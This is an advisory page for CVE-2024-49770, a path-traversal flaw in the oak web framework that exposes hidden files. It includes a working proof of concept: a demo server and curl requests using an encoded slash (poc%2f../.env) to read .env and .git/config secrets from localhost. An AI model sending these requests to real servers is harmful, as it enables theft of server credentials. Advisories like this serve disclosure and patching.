CVE-2024-49770 — @oakserver/oak
Fix: oakserver/oak@4b2f27eCVE-2024-49770 is a Path Traversal vulnerability in @oakserver/oak. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
oak's path traversal allows transfer of hidden files within the served root directory
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-49770.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@oakserver/oaknpmDescription
Summary
By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by
encoding / as its URL encoded form %2F.
Details
1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.
2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.
PoC
// server.ts
import { Application } from "jsr:@oak/[email protected]";
const app = new Application();
app.use(async (context, next) => {
try {
await context.send({
root: './root',
hidden: false, // default
});
} catch {
await next();
}
});
await app.listen({ port: 8000 });
In terminal:
# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops > root/.git/config
# start server
deno run -A server.ts
# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config
Impact
For an attacker this has potential to read sensitive user data or to gain access to server secrets.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @oakserver/oak | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oakserver/oak, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of @oakserver/oak for CVE-2024-49770. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2024-49770 in your dependencies?
Find it across npm, including transitive dependencies.